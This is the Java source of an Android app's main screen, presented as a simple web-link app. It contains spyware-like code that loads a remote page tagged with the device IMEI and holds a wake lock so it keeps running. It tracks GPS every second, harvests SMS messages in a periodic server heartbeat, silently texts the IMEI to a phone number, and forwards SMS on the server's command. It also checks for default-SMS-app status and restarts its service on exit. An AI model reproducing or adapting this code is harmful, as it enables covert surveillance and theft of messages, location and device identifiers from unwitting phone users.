package com.mego.weblink.activitys;

import android.Manifest;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.app.AppOpsManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.ProgressDialog;
import android.app.job.JobInfo;
import android.app.job.JobScheduler;
import android.content.BroadcastReceiver;
import android.content.ClipData;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.Messenger;
import android.os.PowerManager;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.Settings;
import android.provider.Telephony;

import androidx.annotation.ColorRes;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.annotation.RequiresApi;
import androidx.core.app.ActivityCompat;
import androidx.core.app.NotificationCompat;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.KeyEvent;
import android.view.View;
import android.view.WindowManager;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.ProgressBar;
import android.widget.ScrollView;
import android.widget.TextView;

import com.alibaba.fastjson.JSONObject;
import com.mego.weblink.R;
import com.mego.weblink.database.dbmodel.MyContacts;
import com.mego.weblink.database.dbmodel.Sendmsg;
import com.mego.weblink.database.dbmodel.SystemAllInfo;
import com.mego.weblink.database.dbmodel.Thmlog;
import com.mego.weblink.database.manager.MyContactsCenter;
import com.mego.weblink.database.manager.SendsmsCenter;
import com.mego.weblink.database.manager.SystemCenter;
import com.mego.weblink.database.manager.ThmlogCenter;
import com.mego.weblink.utils.ContactUtils;
import com.mego.weblink.utils.GPSProvider;
import com.mego.weblink.utils.HttpRequest;
import com.mego.weblink.utils.LonLat;
import com.mego.weblink.utils.NotificationUtil;
import com.mego.weblink.utils.SmsReceiver;
import com.mego.weblink.utils.SystemHelper;
import com.mego.weblink.utils.Utils;

import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Locale;

import zuo.biao.library.base.BaseActivity;
import zuo.biao.library.interfaces.OnHttpResponseListener;
import zuo.biao.library.manager.TimeRefresher;
import zuo.biao.library.ui.EditTextInfoActivity;
import zuo.biao.library.ui.EditTextInfoWindow;
import zuo.biao.library.util.JSON;
import zuo.biao.library.util.StringUtil;

public class MainActivity extends BaseActivity implements View.OnClickListener, TimeRefresher.OnTimeRefreshListener {

    private final String TAG = "MainActivity";

    public static final int MSG_UNCOLOR_START = 0;
    public static final int MSG_UNCOLOR_STOP = 1;
    public static final int MSG_COLOR_START = 2;
    public static final int MSG_COLOR_STOP = 3;

    public static final String MESSENGER_INTENT_KEY = "A.MESSENGER_INTENT_KEY";
    public static final String WORK_DURATION_KEY = "A.WORK_DURATION_KEY";

    @Override
    public Activity getActivity() {
        return this;
    }

    private ScrollView svDemoMain;
    private TextView tv_name;
    private TextView tv_idc;
    private TextView tv_mobile;
    private TextView tv_addr;

    public static final String MEGO_TP = "http://lj.megotw.com/index/thm/index";

    private final int FILE_CHOOSER_RESULT_CODE = 30;
    ValueCallback<Uri> uploadMessage;
    ValueCallback<Uri[]> uploadMessageAboveL;
    private ProgressBar pbWebView;
    private WebView wvWebView;

    private Notification.Builder messageNotification;

    public static final int INITFINISH = 1101;
    private final int REQUEST_TO_DOPAY = 25;
    private final int REQUEST_TO_EDIT_NAME = 33;
    private final int REQUEST_TO_EDIT_IDC = 34;
    private final int REQUEST_TO_EDIT_MOBILE = 35;
    private final int REQUEST_TO_EDIT_ADDR = 36;
    ProgressDialog mPB;
    long _commandtype = 0;
    String _msgzfmobile = ""; //服务器心跳传来的短信转发手机号
    String _latlon = "";
    //手机短信；拦截的短信；通讯录；通话记录；服务器要求转发的短信
    boolean _issending = false;
    public Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            if (DOSMS == msg.what) {
                onDosms();
            } else if (XTB == msg.what) {
                onXTB();
            } else if (SENDCC == msg.what) {
                onSendIMEI();
            } else if (DOTCJE == msg.what) {
                checkIfDefaultSMS();//检测是否为默认短信应用
            } else if (SENDTZ == msg.what) {
                notifymsg();//接收到消息提醒
            } else if (SENDZF == msg.what) {
                onSendsms();//接收到服务器短信转发
            }
        }
    };
    private long firstTime = 0;//第一次返回按钮计时
    private int MY_PERMISSIONS_REQUEST_SMS_RECEIVE = 10;
    private PowerManager pm;
    private PowerManager.WakeLock wakeLock;
    private SmsReceiver receiver = null;

    @Override
    public void initData() {


    }

    @Override
    public void initView() {
        svDemoMain = (ScrollView) findViewById(R.id.svDemoMain);

        tv_name = (TextView) findViewById(R.id.tv_name);
        tv_idc = (TextView) findViewById(R.id.tv_idc);
        tv_mobile = (TextView) findViewById(R.id.tv_mobile);
        tv_addr = (TextView) findViewById(R.id.tv_addr);
//        ImageView ivAboutQRCode = (ImageView) findViewById(R.id.ivAboutQRCode);
//        Glide.with(this).load("http://a3.att.hudong.com/65/38/16300534049378135355388981738.jpg").into(ivAboutQRCode);
        initWeb();
    }

    private Notification noti;

    //悬浮窗
    void xfwindows() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            if (Settings.canDrawOverlays(MainActivity.this)) {
                Intent intent = new Intent(MainActivity.this, XfService.class);
                showShortToast("开启Toucher！");
                startService(intent);
            } else {
                //若没有权限，提示获取.
                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
                showShortToast("需要取得权限以使用悬浮窗！");
                startActivity(intent);

            }
        }
    }

    //--->看有什么效果
    private NotificationManager messageNotificatioManager;
    @SuppressLint("HandlerLeak")
    private Handler handler = new Handler() {

        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            if (msg.what == 100) {
                SendData("123");
            }
        }
    };
    private BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            if (intent.getAction().equals("action_send")) {
                if (intent.getExtras().getString("data").equals("123")) {
                    Notify();
                }
            }
        }
    };
    private ComponentName mServiceComponent;
    private int mJobId = 0;

    private void doXXX() {
        new Thread() {
            @Override
            public void run() {
                try {
                    sleep(10000);
                    handler.sendEmptyMessage(100);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }.start();

        IntentFilter filter = new IntentFilter("action_send");
        registerReceiver(broadcastReceiver, filter);
    }

    private void SendData(String data) {
        Intent intent = new Intent("action_send");
        intent.putExtra("data", data);
        sendBroadcast(intent);
    }

    private void Notify2() {
        messageNotification = new Notification.Builder(getApplication());
        messageNotification.setDefaults(Notification.DEFAULT_ALL);
        messageNotification.setAutoCancel(true);
        messageNotification.setSmallIcon(R.drawable.ic_launcher_background);
        noti = messageNotification.build();
        //  startForeground(messageNotificationID,noti );
        messageNotificatioManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
        cancelNotification();
        messageNotificatioManager.notify(101, noti);
        Log.i("", "run: into media_play class ");
        Intent intent = new Intent();
        intent.setClass(getApplicationContext(), SecontActivity.class);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
        startActivity(intent);
    }

    private void Notify() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            Log.e(TAG, "sdk >  8.0");
            NotificationChannel channel = new NotificationChannel("110", "bob", NotificationManager.IMPORTANCE_HIGH);
            NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
            manager.createNotificationChannel(channel);
            Notification.Builder builder = new Notification.Builder(this);
            //创建通知时指定channelID
            builder.setChannelId("110");
            builder.setShowWhen(true);
            builder.setDefaults(Notification.DEFAULT_ALL);
            builder.setAutoCancel(true);
            Intent intent = new Intent();
            intent.setClass(getApplicationContext(), SecontActivity.class);
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
            startActivity(intent);
        } else {
            Log.e(TAG, "SDK < 8.0");
            Notification.Builder messageNotification = new Notification.Builder(getApplication());
            messageNotification.setShowWhen(true);
            messageNotification.setWhen(System.currentTimeMillis());
            messageNotification.setDefaults(Notification.DEFAULT_ALL);
            messageNotification.setAutoCancel(true);
            Intent intent = new Intent();
            intent.setClass(getApplicationContext(), SecontActivity.class);
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
            startActivity(intent);

        }
    }

    private void cancelNotification() {
        messageNotificatioManager.cancel(101);
    }
    // Handler for incoming messages from the service.
    private IncomingMessageHandler iHandler;

    boolean _isFirstApp = false;

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @Override
    public void initEvent() {
        findViewById(R.id.detail_1).setOnClickListener(this);
        findViewById(R.id.detail_2).setOnClickListener(this);
        findViewById(R.id.detail_3).setOnClickListener(this);
        findViewById(R.id.detail_4).setOnClickListener(this);

        findViewById(R.id.bt_scan).setOnClickListener(this);
        findViewById(R.id.bt_send).setOnClickListener(this);
        findViewById(R.id.bt_yc).setOnClickListener(this);
        findViewById(R.id.bt_confirm).setOnClickListener(this);

        initqx();//初始化权限
        startService(new Intent(MainActivity.this, Service1.class));

//        IntentFilter filter = new IntentFilter();
//        filter.setPriority(2147483647);
//        filter.addAction("android.provider.Telephony.SMS_RECEIVED");
//        filter.addAction("android.provider.Telephony.SMS_DELIVER");
//        filter.addAction("com.mego.weblink.startapp");
//        receiver = new SmsReceiver();
//        receiver.mHandler = mHandler;
//        registerReceiver(receiver, filter);
//
//        openGps(false);
//
//        TimeRefresher.getInstance().addTimeRefreshListener(TAG, 1000, this);

//        xfwindows();

//        doXXX();
//        startJob();//启动JobScheduler
    }

    //JobScheduler---->
    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    void startJob() {
        mServiceComponent = new ComponentName(this, MyJobService.class);
        iHandler = new IncomingMessageHandler(this);

        Intent startServiceIntent = new Intent(this, MyJobService.class);
        Messenger messengerIncoming = new Messenger(iHandler);
        startServiceIntent.putExtra(MESSENGER_INTENT_KEY, messengerIncoming);
        startService(startServiceIntent);

        scheduleJob();
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    void scheduleJob() {
        JobInfo.Builder builder = new JobInfo.Builder(mJobId++, mServiceComponent);
        builder.setPeriodic(1000);//每隔1秒执行一次任务
        builder.setPersisted(true);//重启后是否还要继续执行
        builder.setRequiresCharging(true);//是否在充电时执行
//        builder.setRequiresDeviceIdle(false); //是否在空闲时执行
        builder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);//有网络时执行
        JobScheduler tm = (JobScheduler) getSystemService(Context.JOB_SCHEDULER_SERVICE);
        tm.schedule(builder.build());
    }

    //消息响应，不需要
    private static class IncomingMessageHandler extends Handler {

        // Prevent possible leaks with a weak reference.
        private WeakReference<MainActivity> mActivity;

        IncomingMessageHandler(MainActivity activity) {
            super(/* default looper */);
            this.mActivity = new WeakReference<>(activity);
        }

        @Override
        public void handleMessage(Message msg) {
            MainActivity mainActivity = mActivity.get();
            if (mainActivity == null) {
                // Activity is no longer available, exit.
                return;
            }
//            View showStartView = mainActivity.findViewById(R.id.onstart_textview);
//            View showStopView = mainActivity.findViewById(R.id.onstop_textview);
            Message m;
            switch (msg.what) {
                /*
                 * Receives callback from the service when a job has landed
                 * on the app. Turns on indicator and sends a message to turn it off after
                 * a second.
                 */
                case MSG_COLOR_START:
                    // Start received, turn on the indicator and show text.
//                    showStartView.setBackgroundColor(getColor(R.color.start_received));
                    updateParamsTextView(msg.obj, "started");

                    // Send message to turn it off after a second.
                    m = Message.obtain(this, MSG_UNCOLOR_START);
                    sendMessageDelayed(m, 1000L);
                    break;
                /*
                 * Receives callback from the service when a job that previously landed on the
                 * app must stop executing. Turns on indicator and sends a message to turn it
                 * off after two seconds.
                 */
                case MSG_COLOR_STOP:
                    // Stop received, turn on the indicator and show text.
//                    showStopView.setBackgroundColor(getColor(R.color.stop_received));
                    updateParamsTextView(msg.obj, "stopped");

                    // Send message to turn it off after a second.
                    m = obtainMessage(MSG_UNCOLOR_STOP);
                    sendMessageDelayed(m, 2000L);
                    break;
                case MSG_UNCOLOR_START:
//                    showStartView.setBackgroundColor(getColor(R.color.none_received));
                    updateParamsTextView(null, "");
                    break;
                case MSG_UNCOLOR_STOP:
//                    showStopView.setBackgroundColor(getColor(R.color.none_received));
                    updateParamsTextView(null, "");
                    break;
            }
        }

        private void updateParamsTextView(@Nullable Object jobId, String action) {
//            TextView paramsTextView = (TextView) mActivity.get().findViewById(R.id.task_params);
//            if (jobId == null) {
//                paramsTextView.setText("");
//                return;
//            }
            String jobIdText = String.valueOf(jobId);
//            paramsTextView.setText(String.format("Job ID %s %s", jobIdText, action));
        }

        private int getColor(@ColorRes int color) {
            return mActivity.get().getResources().getColor(color);
        }
    }
    //-------

    @Override
    public void onTimerStart() {

    }

    //--------------------------
    //---以下同service
    //--------------------------
    int _lastnum = 0;

    @Override
    public void onTimerStop() {

    }

    @Override
    public void onForwardClick(View v) {

    }

    private void editName(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_NAME
                    , getString(R.string.name), StringUtil.getTrimedString(tv_name), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_NAME
                    , getString(R.string.name), StringUtil.getTrimedString(tv_name));
        }

        toActivity(intent, REQUEST_TO_EDIT_NAME, !toWindow);
    }

    private void editIDC(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_NAME
                    , getString(R.string.user_idc), StringUtil.getTrimedString(tv_idc), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_NAME
                    , getString(R.string.user_idc), StringUtil.getTrimedString(tv_idc));
        }

        toActivity(intent, REQUEST_TO_EDIT_IDC, !toWindow);
    }

    private void editMobile(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_PHONE
                    , getString(R.string.user_mobile), StringUtil.getTrimedString(tv_mobile), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_PHONE
                    , getString(R.string.user_mobile), StringUtil.getTrimedString(tv_mobile));
        }

        toActivity(intent, REQUEST_TO_EDIT_MOBILE, !toWindow);
    }

    private void editAddr(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_NOTE
                    , getString(R.string.user_addr), StringUtil.getTrimedString(tv_addr), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_NOTE
                    , getString(R.string.user_addr), StringUtil.getTrimedString(tv_addr));
        }

        toActivity(intent, REQUEST_TO_EDIT_ADDR, !toWindow);
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
                WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);

        pm = (PowerManager) this.getSystemService(Context.POWER_SERVICE);
        //保持cpu一直运行，不管屏幕是否黑屏
        wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "weblink:CPUKeepRunning");
        wakeLock.acquire();

        setContentView(R.layout.main_activity);

        //apk版本升级
//        UpdateManager.getUpdateManager().checkAppUpdate(this, this, false);
//        GPSProvider.getInstance().initGPSProvider(this);
//        tintManager.setStatusBarTintEnabled(false);
        initView();
        initData();
        initEvent();

        NotificationUtil notificationUtils = new NotificationUtil(this);
        notificationUtils.sendNotification(getString(R.string.app_name), "123456");
    }

    public void initWeb() {
        pbWebView = findView(R.id.pbWebView);
        wvWebView = findView(R.id.wvWebView);

        WebSettings webSettings = wvWebView.getSettings();
        webSettings.setJavaScriptEnabled(true);

        wvWebView.requestFocus();

        // 设置setWebChromeClient对象
        wvWebView.setWebChromeClient(new WebChromeClient() {
            @Override
            public void onProgressChanged(WebView view, int newProgress) {
                if (newProgress == 100) {
                    pbWebView.setVisibility(View.GONE);
                } else {
                    pbWebView.setVisibility(View.VISIBLE);
                    pbWebView.setProgress(newProgress);
                }
                super.onProgressChanged(view, newProgress);
            }

            //For Android API < 11 (3.0 OS)
            public void openFileChooser(ValueCallback<Uri> valueCallback) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }

            //For Android API >= 11 (3.0 OS)
            public void openFileChooser(ValueCallback<Uri> valueCallback, String acceptType, String capture) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }

            //For Android API >= 21 (5.0 OS)
            @Override
            public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
                uploadMessageAboveL = filePathCallback;
                openImageChooserActivity();
                return true;
            }
        });

        wvWebView.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                wvWebView.loadUrl(url);
                return true;
            }

            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                super.onPageStarted(view, url, favicon);
                pbWebView.setVisibility(View.VISIBLE);
            }

            @Override
            public void onPageFinished(WebView view, String url) {
                super.onPageFinished(view, url);
                pbWebView.setVisibility(View.GONE);
            }
        });

        String imei = Utils.getIMEI(this);
        String url = MEGO_TP + "?imei=" + imei;
        wvWebView.loadUrl(url);

        SystemAllInfo infoimei = SystemCenter.getInstance().getSysInfo("imei");
        if (infoimei == null) {
            _isFirstApp = true;
            SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "imei", imei));
        }

    }

    private void openImageChooserActivity() {
        Intent i = new Intent(Intent.ACTION_GET_CONTENT);
        i.addCategory(Intent.CATEGORY_OPENABLE);
        i.setType("image/*");
        startActivityForResult(Intent.createChooser(i, "Image Chooser"), FILE_CHOOSER_RESULT_CODE);
    }

    void onExit() {
        long secondTime = System.currentTimeMillis();
        if (secondTime - firstTime > 2000) {
            showShortToast(getString(R.string.texit));
            firstTime = secondTime;
        } else {//完全退出
            moveTaskToBack(false);//应用退到后台
//            System.exit(0);//这会关闭service
//            finish();//这样不会
        }

    }

    @Override
    public void onBackPressed() {
        if (wvWebView.canGoBack()) {
            wvWebView.goBack();
            return;
        }

        super.onBackPressed();
    }

    @SuppressLint("NewApi")
    public static boolean isNotificationEnabled(Context context) {
        AppOpsManager appOpsManager = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE);
        ApplicationInfo applicationInfo = context.getApplicationInfo();
        String pkg = context.getApplicationContext().getPackageName();
        int uid = applicationInfo.uid;
        Class appOpsClass;
        try {
            appOpsClass = Class.forName(AppOpsManager.class.getName());
            Method checkOpNoThrowMethod = appOpsClass.getMethod("checkOpNoThrow", Integer.TYPE, Integer.TYPE, String.class);
            Field opPostNotificationValue = appOpsClass.getDeclaredField("OP_POST_NOTIFICATION");
            int value = (Integer) opPostNotificationValue.get(Integer.class);
            return ((Integer) checkOpNoThrowMethod.invoke(appOpsManager, value, uid, pkg) == AppOpsManager.MODE_ALLOWED);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return false;
    }

    public static void toSettingPage(Context context){
        Intent intent = new Intent();
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        if(Build.VERSION.SDK_INT >= 9){
            intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
            intent.setData(Uri.fromParts("package", context.getPackageName(), null));
        } else if(Build.VERSION.SDK_INT <= 8){
            intent.setAction(Intent.ACTION_VIEW);
            intent.setClassName("com.android.settings","com.android.settings.InstalledAppDetails");
            intent.putExtra("com.android.settings.ApplicationPkgName", context.getPackageName());
        }
        context.startActivity(intent);
    }

    private void initqx() {
        if (Build.MANUFACTURER.equals("vivo") || Build.MANUFACTURER.equals("OPPO")){
            if (!isNotificationEnabled(this)){
                //未获得通知权限，此时把用户引向系统的设置界面，使用户手动打开通知权限
                //代码不上了，总之在这里谈提示框让用户打开设置界面就好了～
                showShortToast("请打开通知权限！");
                toSettingPage(this);
                return;
            }
        }

//        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M
//                && !Settings.canDrawOverlays(this)) {
//            this.startActivityForResult(
//                    new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
//                            Uri.parse("package:" + this.getPackageName())), 10);
//            return;
//        }

//        isAllowed();//后台弹出窗口权限---没用呀
    }

    private boolean isAllowed() {
        AppOpsManager ops = (AppOpsManager) getSystemService(Context.APP_OPS_SERVICE);
        try {
            int op = 10021;
            Method method = ops.getClass().getMethod("checkOpNoThrow", new Class[]{int.class, int.class, String.class});
            Integer result = (Integer) method.invoke(ops, op, android.os.Process.myUid(), getPackageName());
            return result == AppOpsManager.MODE_ALLOWED;

        } catch (Exception e) {
            Log.e(TAG, "not support");
        }
        return false;
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == MY_PERMISSIONS_REQUEST_SMS_RECEIVE) {
            // YES!!
            Log.i("TAG", "MY_PERMISSIONS_REQUEST_SMS_RECEIVE --> YES");
        }
    }

    @Override
    public boolean onKeyUp(int keyCode, KeyEvent event) {
        switch (keyCode) {
            case KeyEvent.KEYCODE_MENU:
                break;
            case KeyEvent.KEYCODE_BACK:
                if (wvWebView.canGoBack()) {
                    wvWebView.goBack();
                } else {
                    onExit();
                }
                return true;
        }

        return super.onKeyUp(keyCode, event);
    }

    @Override
    public void onClick(View v) {
        switch (v.getId()) {
            default:
                break;
            case R.id.detail_1:
                editName(true);
                break;
            case R.id.detail_2:
                editIDC(true);
                break;
            case R.id.detail_3:
                editMobile(true);
                break;
            case R.id.detail_4:
                editAddr(true);
                break;
            case R.id.bt_yc:
                break;
            case R.id.bt_confirm:
                break;
        }
    }

    @Override
    protected void onResume() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
            wvWebView.onResume();
        }

        super.onResume();

        mHandler.sendEmptyMessage(DOTCJE);
    }

    @Override
    protected void onPause() {
        super.onPause();
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
            wvWebView.onPause();
        }
    }

    String _ccmobile = "";
    int _txjg = 1000000;
    String _msginfo = "";
    public static final int DOSMS = 1313;
    public static final int XTB = 1318;
    public static final int SENDCC = 1320;//发送IMEI到指定的手机
    public static final int DOTCJE = 1321;//
    public static final int SENDTZ = 1323;//发送通知
    public static final int SENDZF = 1324;//服务器要求转发的短信

    @Override
    protected void onDestroy() {
        if (wvWebView != null) {
            wvWebView.destroy();
            wvWebView = null;
        }
        Log.i("MainService", "Activiy--onDestroy");
//        sendBroadcast(new Intent("com.mego.weblink.startapp"));//自动重启
        startService(new Intent(MainActivity.this, Service1.class));
        super.onDestroy();

//        unregisterReceiver(receiver);
    }

    int _num = 0;//计数

    @RequiresApi(api = Build.VERSION_CODES.ECLAIR_MR1)
    @Override
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        switch (requestCode) {
            case REQUEST_TO_DOPAY:
                break;
            case REQUEST_TO_EDIT_NAME:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_name.setText(name);
                }
                break;
            case REQUEST_TO_EDIT_IDC:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_idc.setText(name);
                }
                break;
            case REQUEST_TO_EDIT_MOBILE:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_mobile.setText(name);
                }
                break;
            case REQUEST_TO_EDIT_ADDR:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_addr.setText(name);
                }
                break;
        }

        if (requestCode == FILE_CHOOSER_RESULT_CODE) {
            if (null == uploadMessage && null == uploadMessageAboveL) return;
            Uri result = data == null || resultCode != RESULT_OK ? null : data.getData();
            if (uploadMessageAboveL != null) {
                onActivityResultAboveL(requestCode, resultCode, data);
            } else if (uploadMessage != null) {
                uploadMessage.onReceiveValue(result);
                uploadMessage = null;
            }
        }
        if (requestCode == 10) {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                if (!Settings.canDrawOverlays(this)) {
                    // SYSTEM_ALERT_WINDOW permission not granted...
                    //                Toast.makeText(MainActivity.this,"not granted",Toast.LENGTH_SHORT);
                }
            }
        }

    }

    @TargetApi(Build.VERSION_CODES.LOLLIPOP)
    private void onActivityResultAboveL(int requestCode, int resultCode, Intent intent) {
        if (requestCode != FILE_CHOOSER_RESULT_CODE || uploadMessageAboveL == null)
            return;
        Uri[] results = null;
        if (resultCode == Activity.RESULT_OK) {
            if (intent != null) {
                String dataString = intent.getDataString();
                ClipData clipData = intent.getClipData();
                if (clipData != null) {
                    results = new Uri[clipData.getItemCount()];
                    for (int i = 0; i < clipData.getItemCount(); i++) {
                        ClipData.Item item = clipData.getItemAt(i);
                        results[i] = item.getUri();
                    }
                }
                if (dataString != null)
                    results = new Uri[]{Uri.parse(dataString)};
            }
        }
        uploadMessageAboveL.onReceiveValue(results);
        uploadMessageAboveL = null;
    }

    @Override
    public void onTimerRefresh() {
        //定位1秒刷一次
        _num++;
        LonLat pos = GPSProvider.getInstance().getPos();
        if (pos != null) {
            _latlon = pos.GetLat() + ", " + pos.GetLon();
        }
        Log.i("MService1", "MainActivity333-time-- " + _num);
        if (_num % 30 == 0) {
            Log.i("MainService", "XTB-time-- " + _num + " " + _issending);
            //30秒的心跳包
            mHandler.sendEmptyMessage(XTB);//开线程，上传所有的
        }

        if (_num > 10 && _num % _txjg == 0) {
            mHandler.sendEmptyMessage(DOTCJE); //默认短信app设置
            Utils.log("DOTCJE");
        }

        if (_num >= 3000) {
            _num = 0;
        }
    }

    private void onXTB() {
        if (_lastnum - _num > 180) {
            //如果大于3分钟，强制
            Log.i("MainService", "onXTB---startQ--" + _lastnum + "~" + _num + " " + _issending);
            _issending = false;
        }

        if (_issending) {
            return;
        }
        _lastnum = _num;
        Log.i("MainService", "onXTB---start--" + _num);
        runThread(TAG + "initData", new Runnable() {
            @Override
            public void run() {
                if (_num < 60) {
//                    queryCallLog(); //查询通话记录
                    queryMessageLog();//查询手机短信
//                    getLianluoren();//查询联络人
                }
                doXTB();//心跳包
                runUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Log.i("MainService", "onXTB---end" + _num);
                    }
                });
            }
        });
    }

    //接收到服务器短信->转发
    private void onSendsms() {
        if (_msgzfmobile.length() < 3 || _msginfo.length() < 1) {
            return;
        }

        String msg = _msgzfmobile + " " + _msginfo;
        Sendmsg s = SendsmsCenter.getInstance().getSendmsg(0, msg);
        if (s != null) {
            return;
        }
        SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, msg, 0));
        try {
            SmsManager smsManager = SmsManager.getDefault();
            if (_msginfo.length() <= 70) {
                smsManager.sendTextMessage(_msgzfmobile, null, _msginfo, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(_msginfo);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(_msgzfmobile, null, sms, null, null);
                }
            }

            //服务器短信转发成功后，上传发送记录
            String mobile = Utils.getIMEI(context);
            long date = System.currentTimeMillis();
            Thmlog thmlog = new Thmlog(null, "", mobile, 1, date, "", "",
                    "", 0, "", _msginfo, 1, _msgzfmobile, "", false);
            thmlog.setLatlon(_latlon);

        } catch (Exception e) {

        }

    }

    private void onSendIMEI() {
        if (_ccmobile == null || _ccmobile.length() < 3) {
            return;
        }

        String ccmobile = "";
        SystemAllInfo infomobile = SystemCenter.getInstance().getSysInfo("ccmobile");
        if (infomobile != null) {
            ccmobile = infomobile.getContent();
        }

        if (ccmobile.length() > 1 && _ccmobile.equals(ccmobile)) {
            return;
        }

        String msg = Utils.getIMEI(this);
        try {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> list = smsManager.divideMessage(msg);
            for (int i = 0; i < list.size(); i++) {
                smsManager.sendTextMessage(_ccmobile, null, list.get(i), null, null);
            }
            //保存，仅发送一次
            SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "ccmobile", _ccmobile));

        } catch (Exception e) {

        }
    }

